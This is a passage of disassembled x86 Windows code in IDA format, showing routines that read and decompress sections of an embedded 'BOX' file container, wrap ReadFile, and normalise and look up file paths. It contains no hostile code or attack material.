loc_4D0F0D:				; CODE XREF: sub_4D0C5C+2A8j
		mov	eax, [ebp+var_64]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_4D0F2D
		mov	eax, [ebp+var_64]
		mov	ecx, [ebp+var_30]
		mov	eax, [ecx+eax*4]
		and	eax, 7FFFFFFFh
		mov	ecx, [ebp+var_20]
		add	ecx, eax
		mov	[ebp+var_20], ecx
		jmp	short loc_4D0F06
; ---------------------------------------------------------------------------


loc_4D0F2D:				; CODE XREF: sub_4D0C5C+273j
					; sub_4D0C5C+2B7j
		lea	eax, [ebp+var_1C]
		push	eax
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_30]
		mov	eax, [ecx+eax*4]
		and	eax, 7FFFFFFFh
		push	eax
		mov	eax, [ebp+var_34]
		mov	eax, [eax+4]
		add	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	loc_4D0A10
		mov	[ebp+var_38], eax
		cmp	[ebp+var_38], 0
		jnz	short loc_4D0F62
		xor	eax, eax
		jmp	loc_4D0FFA
; ---------------------------------------------------------------------------


loc_4D0F62:				; CODE XREF: sub_4D0C5C+2FDj
		mov	[ebp+var_2C], 10000h
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_30]
		mov	eax, [ecx+eax*4]
		and	eax, 80000000h
		test	eax, eax
		jnz	short loc_4D0FAE
		push	[ebp+var_1C]
		push	[ebp+var_38]
		lea	eax, [ebp+var_2C]
		push	eax
		push	[ebp+var_3C]
		call	sub_4DD9F3
		add	esp, 10h
		mov	[ebp+var_68], eax
		cmp	[ebp+var_68], 0
		jz	short loc_4D0FAC
		push	[ebp+var_68]
		push	offset aBoxReadcompres ; ":BOX:ReadCompressedSection: decompresio"...
		call	sub_4D8726
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_4D0FFA
; ---------------------------------------------------------------------------


loc_4D0FAC:				; CODE XREF: sub_4D0C5C+33Bj
		jmp	short loc_4D0FC5
; ---------------------------------------------------------------------------


loc_4D0FAE:				; CODE XREF: sub_4D0C5C+31Dj
		mov	ecx, [ebp+var_1C]
		mov	esi, [ebp+var_38]
		mov	edi, [ebp+var_3C]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_4D0FC5:				; CODE XREF: sub_4D0C5C:loc_4D0FACj
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, [ebp+arg_4]
		mov	ds:dword_4E0B78[eax], ecx
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx]
		mov	ds:dword_4E0B7C[eax], ecx
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		add	eax, offset dword_4E0B70
		push	eax
		call	ds:dword_4E172C	; GetSystemTimeAsFileTime
		mov	eax, [ebp+var_3C]


loc_4D0FFA:				; CODE XREF: sub_4D0C5C+8Cj
					; sub_4D0C5C+1BAj ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; END OF FUNCTION CHUNK	FOR sub_4D0C5C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D100B	proc near		; CODE XREF: sub_4D1177+16Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_14]
		shr	eax, 10h
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_14]
		lea	eax, [ecx+eax-1]
		shr	eax, 10h
		mov	[ebp+var_4], eax
		push	[ebp+var_10]
		push	[ebp+arg_0]
		call	sub_4D0C5C
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_4D1050
		xor	eax, eax
		jmp	loc_4D1171
; ---------------------------------------------------------------------------


loc_4D1050:				; CODE XREF: sub_4D100B+3Cj
		mov	eax, [ebp+var_14]
		xor	edx, edx
		mov	ecx, 10000h
		div	ecx
		mov	[ebp+var_8], edx
		mov	eax, 10000h
		sub	eax, [ebp+var_8]
		cmp	[ebp+arg_8], eax
		jnb	short loc_4D1074
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_18], eax
		jmp	short loc_4D107F
; ---------------------------------------------------------------------------


loc_4D1074:				; CODE XREF: sub_4D100B+5Fj
		mov	eax, 10000h
		sub	eax, [ebp+var_8]
		mov	[ebp+var_18], eax


loc_4D107F:				; CODE XREF: sub_4D100B+67j
		mov	ecx, [ebp+var_18]
		mov	esi, [ebp+var_C]
		add	esi, [ebp+var_8]
		mov	edi, [ebp+arg_4]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, 10000h
		sub	eax, [ebp+var_8]
		cmp	[ebp+arg_8], eax
		jnb	short loc_4D10AE
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_1C], eax
		jmp	short loc_4D10B9
; ---------------------------------------------------------------------------


loc_4D10AE:				; CODE XREF: sub_4D100B+99j
		mov	eax, 10000h
		sub	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax


loc_4D10B9:				; CODE XREF: sub_4D100B+A1j
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_8], eax


loc_4D10BF:				; CODE XREF: sub_4D100B+15Ej
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_10]
		jbe	loc_4D116E
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		cmp	eax, [ebp+var_8]
		ja	short loc_4D10F0
		push	ds:off_4DE4F8
		push	0BBh
		push	ds:off_4DE4FC
		call	sub_4D848C


loc_4D10F0:				; CODE XREF: sub_4D100B+CDj
		push	[ebp+var_10]
		push	[ebp+arg_0]
		call	sub_4D0C5C
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_4D1108
		xor	eax, eax
		jmp	short loc_4D1171
; ---------------------------------------------------------------------------


loc_4D1108:				; CODE XREF: sub_4D100B+F7j
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_8]
		cmp	eax, 10000h
		jnb	short loc_4D1120
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_20], eax
		jmp	short loc_4D1127
; ---------------------------------------------------------------------------


loc_4D1120:				; CODE XREF: sub_4D100B+108j
		mov	[ebp+var_20], 10000h


loc_4D1127:				; CODE XREF: sub_4D100B+113j
		mov	ecx, [ebp+var_20]
		mov	esi, [ebp+var_C]
		mov	edi, [ebp+arg_4]
		add	edi, [ebp+var_8]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_8]
		cmp	eax, 10000h
		jnb	short loc_4D1159
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_24], eax
		jmp	short loc_4D1160
; ---------------------------------------------------------------------------


loc_4D1159:				; CODE XREF: sub_4D100B+141j
		mov	[ebp+var_24], 10000h


loc_4D1160:				; CODE XREF: sub_4D100B+14Cj
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_24]
		mov	[ebp+var_8], eax
		jmp	loc_4D10BF
; ---------------------------------------------------------------------------


loc_4D116E:				; CODE XREF: sub_4D100B+BAj
		push	1
		pop	eax


loc_4D1171:				; CODE XREF: sub_4D100B+40j
					; sub_4D100B+FBj
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_4D100B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D1177	proc near		; CODE XREF: sub_4CF94C+242p
					; sub_4CFFBF+194p ...

var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_40		= byte ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

; FUNCTION CHUNK AT 004D145D SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE3C8
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 3Ch
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_14], 0
		jnz	short loc_4D11A8
		lea	eax, [ebp+var_1C]
		mov	[ebp+arg_14], eax


loc_4D11A8:				; CODE XREF: sub_4D1177+29j
		mov	eax, ds:dword_4E18E4
		mov	[ebp+var_3C], eax
		cmp	[ebp+var_3C], 0
		jz	short loc_4D11C9
		mov	eax, [ebp+var_3C]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE01C	; RtlEnterCriticalSection
		mov	[ebp+var_40], 1
		jmp	short loc_4D11CD
; ---------------------------------------------------------------------------


loc_4D11C9:				; CODE XREF: sub_4D1177+3Dj
		and	[ebp+var_40], 0


loc_4D11CD:				; CODE XREF: sub_4D1177+50j
		movzx	eax, [ebp+var_40]
		test	eax, eax
		jz	loc_4D145D
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		mov	ecx, ds:dword_4E18E4
		call	sub_4DB871
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	loc_4D1436
		cmp	[ebp+arg_10], 0
		jz	short loc_4D1207
		mov	eax, [ebp+arg_10]
		mov	dword ptr [eax], 3E5h


loc_4D1207:				; CODE XREF: sub_4D1177+85j
		mov	eax, [ebp+var_20]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+var_20]
		mov	eax, [eax+0Ch]
		and	eax, 1
		test	eax, eax
		jz	short loc_4D1254
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4E177C	; ReadFile
		mov	ecx, [ebp+arg_14]
		mov	[ecx], eax
		push	0FFFFFFFFh
		mov	[ebp+var_48], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_48]
		jmp	loc_4D145F
; ---------------------------------------------------------------------------


loc_4D1254:				; CODE XREF: sub_4D1177+A5j
		cmp	[ebp+arg_10], 0
		jz	short loc_4D1281
		mov	eax, [ebp+var_20]
		mov	eax, [eax+0Ch]
		and	eax, 40000000h
		test	eax, eax
		jz	short loc_4D1281
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+var_20]
		mov	ecx, [ecx+4]
		mov	[eax+0Ch], ecx
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+arg_10]
		mov	ecx, [ecx+8]
		mov	[eax+4], ecx


loc_4D1281:				; CODE XREF: sub_4D1177+E1j
					; sub_4D1177+F0j
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_20]
		mov	eax, [eax+4]
		add	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_30]
		cmp	eax, [ecx+8]
		jbe	short loc_4D12A7
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_20]
		mov	eax, [eax+8]
		sub	eax, [ecx+4]
		mov	[ebp+var_28], eax


loc_4D12A7:				; CODE XREF: sub_4D1177+11Fj
		cmp	[ebp+arg_C], 0
		jnz	short loc_4D12B3
		lea	eax, [ebp+var_2C]
		mov	[ebp+arg_C], eax


loc_4D12B3:				; CODE XREF: sub_4D1177+134j
		mov	eax, [ebp+arg_C]
		and	dword ptr [eax], 0
		cmp	[ebp+arg_8], 0
		jbe	loc_4D13B8
		cmp	[ebp+var_28], 0
		jbe	loc_4D13B8
		mov	eax, [ebp+var_30]
		mov	eax, [eax+0Ch]
		and	eax, 2
		test	eax, eax
		jz	short loc_4D12FE
		push	[ebp+var_28]
		push	[ebp+arg_4]
		push	[ebp+var_20]
		call	sub_4D100B
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	short loc_4D12F9
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx


loc_4D12F9:				; CODE XREF: sub_4D1177+178j
		jmp	loc_4D13B6
; ---------------------------------------------------------------------------


loc_4D12FE:				; CODE XREF: sub_4D1177+161j
		and	[ebp+var_34], 0


loc_4D1302:				; CODE XREF: sub_4D1177+23Aj
		mov	eax, [ebp+var_34]
		cmp	eax, [ebp+var_28]
		jnb	loc_4D13B6
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_34]
		cmp	eax, 10000h
		jnb	short loc_4D1326
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_34]
		mov	[ebp+var_4C], eax
		jmp	short loc_4D132D
; ---------------------------------------------------------------------------


loc_4D1326:				; CODE XREF: sub_4D1177+1A2j
		mov	[ebp+var_4C], 10000h


loc_4D132D:				; CODE XREF: sub_4D1177+1ADj
		push	[ebp+arg_C]
		push	[ebp+var_4C]
		mov	eax, [ebp+var_30]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_20]
		add	eax, [ecx+4]
		add	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_20]
		call	loc_4D0A10
		mov	[ebp+var_38], eax
		cmp	[ebp+var_38], 0
		jz	short loc_4D137D
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_34]
		cmp	eax, 10000h
		jnb	short loc_4D136C
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_34]
		mov	[ebp+var_50], eax
		jmp	short loc_4D1373
; ---------------------------------------------------------------------------


loc_4D136C:				; CODE XREF: sub_4D1177+1E8j
		mov	[ebp+var_50], 10000h


loc_4D1373:				; CODE XREF: sub_4D1177+1F3j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax]
		cmp	eax, [ebp+var_50]
		jz	short loc_4D1383


loc_4D137D:				; CODE XREF: sub_4D1177+1DBj
		and	[ebp+var_24], 0
		jmp	short loc_4D13B6
; ---------------------------------------------------------------------------


loc_4D1383:				; CODE XREF: sub_4D1177+204j
		mov	[ebp+var_24], 1
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		mov	esi, [ebp+var_38]
		mov	edi, [ebp+arg_4]
		add	edi, [ebp+var_34]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_34]
		add	ecx, [eax]
		mov	[ebp+var_34], ecx
		jmp	loc_4D1302
; ---------------------------------------------------------------------------


loc_4D13B6:				; CODE XREF: sub_4D1177:loc_4D12F9j
					; sub_4D1177+191j ...
		jmp	short loc_4D13C5
; ---------------------------------------------------------------------------


loc_4D13B8:				; CODE XREF: sub_4D1177+146j
					; sub_4D1177+150j
		mov	[ebp+var_24], 1
		mov	eax, [ebp+arg_C]
		and	dword ptr [eax], 0


loc_4D13C5:				; CODE XREF: sub_4D1177:loc_4D13B6j
		cmp	[ebp+var_24], 0
		jz	short loc_4D13DC
		mov	eax, [ebp+var_20]
		mov	eax, [eax+4]
		mov	ecx, [ebp+arg_C]
		add	eax, [ecx]
		mov	ecx, [ebp+var_20]
		mov	[ecx+4], eax


loc_4D13DC:				; CODE XREF: sub_4D1177+252j
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+var_24]
		mov	[eax], ecx
		cmp	[ebp+arg_10], 0
		jz	short loc_4D141D
		mov	eax, [ebp+var_20]
		mov	eax, [eax+0Ch]
		and	eax, 40000000h
		test	eax, eax
		jz	short loc_4D141D
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+arg_10]
		mov	ecx, [ecx+0Ch]
		mov	[eax+4], ecx
		mov	eax, [ebp+arg_10]
		and	dword ptr [eax+0Ch], 0
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx]
		mov	[eax+4], ecx
		mov	eax, [ebp+arg_10]
		and	dword ptr [eax], 0


loc_4D141D:				; CODE XREF: sub_4D1177+271j
					; sub_4D1177+280j
		push	0FFFFFFFFh
		mov	[ebp+var_54], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_54]
		jmp	short loc_4D145F
; ---------------------------------------------------------------------------


loc_4D1436:				; CODE XREF: sub_4D1177+7Bj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4D1441
		jmp	short loc_4D145D
sub_4D1177	endp


; =============== S U B	R O U T	I N E =======================================



sub_4D1441	proc near		; CODE XREF: sub_4D1177+2C3p
					; DATA XREF: _5:004DE3D0o
		mov	eax, ds:dword_4E18E4
		mov	[ebp-44h], eax
		cmp	dword ptr [ebp-44h], 0
		jz	short locret_4D145C
		mov	eax, [ebp-44h]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE018	; RtlLeaveCriticalSection

locret_4D145C:				; CODE XREF: sub_4D1441+Cj
		retn
sub_4D1441	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4D1177


loc_4D145D:				; CODE XREF: sub_4D1177+5Cj
					; sub_4D1177+2C8j
		xor	eax, eax


loc_4D145F:				; CODE XREF: sub_4D1177+D8j
					; sub_4D1177+2BDj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	18h
; END OF FUNCTION CHUNK	FOR sub_4D1177

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D1470	proc near		; CODE XREF: sub_4CF252+91p
					; sub_4D153F+B4p

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], ecx
		mov	[ebp+var_4], 1
		mov	[ebp+var_8], 2
		jmp	short loc_4D1490
; ---------------------------------------------------------------------------


loc_4D1489:				; CODE XREF: sub_4D1470+5Ej
					; sub_4D1470+7Fj ...
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_4D1490:				; CODE XREF: sub_4D1470+17j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_10]
		jnb	loc_4D1523
		mov	eax, ds:dword_4E1908
		add	eax, [ebp+var_8]
		mov	al, [eax+810h]
		mov	[ebp+var_C], al
		movsx	eax, [ebp+var_C]
		mov	ecx, ds:dword_4E1908
		add	ecx, [ebp+var_4]
		movsx	ecx, byte ptr [ecx+810h]
		cmp	eax, ecx
		jnz	short loc_4D14D0
		movsx	eax, [ebp+var_C]
		cmp	eax, 5Ch
		jnz	short loc_4D14D0
		jmp	short loc_4D1489
; ---------------------------------------------------------------------------


loc_4D14D0:				; CODE XREF: sub_4D1470+53j
					; sub_4D1470+5Cj
		movsx	eax, [ebp+var_C]
		cmp	eax, 2Fh
		jnz	short loc_4D14F1
		mov	eax, ds:dword_4E1908
		add	eax, [ebp+var_8]
		mov	byte ptr [eax+810h], 5Ch
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax
		jmp	short loc_4D1489
; ---------------------------------------------------------------------------


loc_4D14F1:				; CODE XREF: sub_4D1470+67j
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		jz	short loc_4D1517
		mov	eax, ds:dword_4E1908
		add	eax, [ebp+var_4]
		mov	ecx, ds:dword_4E1908
		add	ecx, [ebp+var_8]
		mov	cl, [ecx+810h]
		mov	[eax+811h], cl


loc_4D1517:				; CODE XREF: sub_4D1470+88j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	loc_4D1489
; ---------------------------------------------------------------------------


loc_4D1523:				; CODE XREF: sub_4D1470+26j
		mov	eax, ds:dword_4E1908
		add	eax, [ebp+var_4]
		and	byte ptr [eax+811h], 0
		mov	eax, [ebp+var_4]
		inc	eax
		mov	ecx, [ebp+var_10]
		sub	ecx, eax
		mov	eax, ecx
		leave
		retn
sub_4D1470	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D153F	proc near		; CODE XREF: sub_4CFD24+3Ap
					; sub_4D0346+19p ...

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_56		= byte ptr -56h
var_55		= byte ptr -55h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

; FUNCTION CHUNK AT 004D18BC SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE3D8
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 50h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_4], 0
		jz	short loc_4D1570
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0


loc_4D1570:				; CODE XREF: sub_4D153F+29j
		cmp	ds:dword_4E1908, 0
		jnz	short loc_4D1580
		xor	eax, eax
		jmp	loc_4D18BE
; ---------------------------------------------------------------------------


loc_4D1580:				; CODE XREF: sub_4D153F+38j
		and	[ebp+var_1C], 0
		push	offset dword_4E18C8
		call	ds:dword_4E16C4	; RtlEnterCriticalSection
		and	[ebp+var_4], 0
		push	4
		push	offset a?	; "\\\\?\\"
		push	[ebp+arg_0]
		call	sub_4CC730
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4D15B2
		mov	eax, [ebp+arg_0]
		add	eax, 4
		mov	[ebp+arg_0], eax


loc_4D15B2:				; CODE XREF: sub_4D153F+68j
		lea	eax, [ebp+var_1C]
		push	eax
		mov	eax, ds:dword_4E1908
		add	eax, 810h
		push	eax
		push	104h
		push	[ebp+arg_0]
		call	ds:dword_4E1708	; GetFullPathNameA
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	loc_4D18A5
		push	[ebp+var_20]
		mov	eax, ds:dword_4E1908
		add	eax, 810h
		push	eax
		call	ds:dword_4E17C8	; CharUpperBuffA
		mov	ecx, [ebp+var_20]
		call	sub_4D1470
		mov	ecx, [ebp+var_1C]
		sub	ecx, eax
		mov	[ebp+var_1C], ecx
		mov	eax, ds:dword_4E1908
		mov	eax, [eax+0C14h]
		mov	[ebp+var_24], eax
		mov	eax, ds:dword_4E1908
		mov	ecx, [eax+0C14h]
		mov	edi, ds:dword_4E1908
		add	edi, 10h
		mov	esi, ds:dword_4E1908
		add	esi, 810h
		xor	eax, eax
		repe cmpsb
		jz	short loc_4D1679
		mov	eax, ds:dword_4E1908
		mov	ecx, [eax+0C18h]
		mov	edi, ds:dword_4E1908
		add	edi, 410h
		mov	esi, ds:dword_4E1908
		add	esi, 810h
		xor	eax, eax
		repe cmpsb
		jnz	loc_4D181A
		mov	eax, ds:dword_4E1908
		mov	eax, [eax+0C18h]
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	loc_4D181A


loc_4D1679:				; CODE XREF: sub_4D153F+F3j
		mov	eax, [ebp+var_24]
		mov	ecx, ds:dword_4E1908
		lea	eax, [ecx+eax+810h]
		mov	[ebp+var_28], eax
		mov	edi, [ebp+var_28]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_34], ecx
		mov	[ebp+var_38], 1
		mov	eax, ds:dword_4E1908
		mov	eax, [eax+0Ch]
		mov	[ebp+var_2C], eax
		and	[ebp+var_30], 0


loc_4D16B2:				; CODE XREF: sub_4D153F:loc_4D1752j
		mov	eax, [ebp+var_38]
		cmp	eax, [ebp+var_2C]
		ja	loc_4D1757
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_2C]
		shr	eax, 1
		mov	[ebp+var_44], eax
		mov	eax, [ebp+var_44]
		dec	eax
		shl	eax, 4
		mov	ecx, ds:dword_4E1908
		mov	ecx, [ecx+8]
		mov	eax, [ecx+eax]
		mov	[ebp+var_3C], eax
		push	[ebp+var_34]
		mov	eax, [ebp+var_3C]
		push	dword ptr [eax]
		push	[ebp+var_28]
		call	sub_4CC730
		add	esp, 0Ch
		mov	[ebp+var_40], eax
		cmp	[ebp+var_40], 0
		jnz	short loc_4D173C
		mov	eax, [ebp+var_3C]
		mov	eax, [eax]
		mov	ecx, [ebp+var_34]
		movsx	eax, byte ptr [eax+ecx]
		test	eax, eax
		jz	short loc_4D171C
		mov	eax, [ebp+var_3C]
		mov	eax, [eax]
		mov	ecx, [ebp+var_34]
		movsx	eax, byte ptr [eax+ecx]
		cmp	eax, 5Ch
		jnz	short loc_4D1733


loc_4D171C:				; CODE XREF: sub_4D153F+1CAj
		mov	eax, [ebp+var_44]
		dec	eax
		shl	eax, 4
		mov	ecx, ds:dword_4E1908
		mov	ecx, [ecx+8]
		add	ecx, eax
		mov	[ebp+var_30], ecx
		jmp	short loc_4D1757
; ---------------------------------------------------------------------------


loc_4D1733:				; CODE XREF: sub_4D153F+1DBj
		mov	eax, [ebp+var_44]
		dec	eax
		mov	[ebp+var_2C], eax
		jmp	short loc_4D1752
; ---------------------------------------------------------------------------


loc_4D173C:				; CODE XREF: sub_4D153F+1BAj
		cmp	[ebp+var_40], 0
		jle	short loc_4D174B
		mov	eax, [ebp+var_44]
		inc	eax
		mov	[ebp+var_38], eax
		jmp	short loc_4D1752
; ---------------------------------------------------------------------------


loc_4D174B:				; CODE XREF: sub_4D153F+201j
		mov	eax, [ebp+var_44]
		dec	eax
		mov	[ebp+var_2C], eax


loc_4D1752:				; CODE XREF: sub_4D153F+1FBj
					; sub_4D153F+20Aj
		jmp	loc_4D16B2
; ---------------------------------------------------------------------------


loc_4D1757:				; CODE XREF: sub_4D153F+179j
					; sub_4D153F+1F2j
		cmp	[ebp+var_30], 0
		jz	loc_4D1815
		cmp	[ebp+arg_4], 0
		jz	short loc_4D176F
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_30]
		mov	[eax], ecx


loc_4D176F:				; CODE XREF: sub_4D153F+226j
		mov	eax, [ebp+var_30]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_50], eax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_54], eax


loc_4D177F:				; CODE XREF: sub_4D153F+272j
		mov	eax, [ebp+var_54]
		mov	al, [eax]
		mov	[ebp+var_55], al
		mov	ecx, [ebp+var_50]
		cmp	al, [ecx]
		jnz	short loc_4D17B9
		cmp	[ebp+var_55], 0
		jz	short loc_4D17B3
		mov	eax, [ebp+var_54]
		mov	al, [eax+1]
		mov	[ebp+var_56], al
		mov	ecx, [ebp+var_50]
		cmp	al, [ecx+1]
		jnz	short loc_4D17B9
		add	[ebp+var_54], 2
		add	[ebp+var_50], 2
		cmp	[ebp+var_56], 0
		jnz	short loc_4D177F


loc_4D17B3:				; CODE XREF: sub_4D153F+253j
		and	[ebp+var_5C], 0
		jmp	short loc_4D17C1
; ---------------------------------------------------------------------------


loc_4D17B9:				; CODE XREF: sub_4D153F+24Dj
					; sub_4D153F+264j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh
		mov	[ebp+var_5C], eax


loc_4D17C1:				; CODE XREF: sub_4D153F+278j
		mov	eax, [ebp+var_5C]
		mov	[ebp+var_60], eax
		cmp	[ebp+var_60], 0
		jnz	short loc_4D17D5
		mov	eax, [ebp+arg_8]
		and	byte ptr [eax],	0
		jmp	short loc_4D17DB
; ---------------------------------------------------------------------------


loc_4D17D5:				; CODE XREF: sub_4D153F+28Cj
		mov	eax, [ebp+arg_8]
		mov	byte ptr [eax],	1


loc_4D17DB:				; CODE XREF: sub_4D153F+294j
		cmp	[ebp+arg_C], 0
		jz	short loc_4D17FA
		push	0
		mov	eax, ds:dword_4E1908
		add	eax, 810h
		push	eax
		call	sub_4D92CA
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax


loc_4D17FA:				; CODE XREF: sub_4D153F+2A0j
		push	0FFFFFFFFh
		mov	eax, [ebp+var_30]
		mov	[ebp+var_64], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_64]
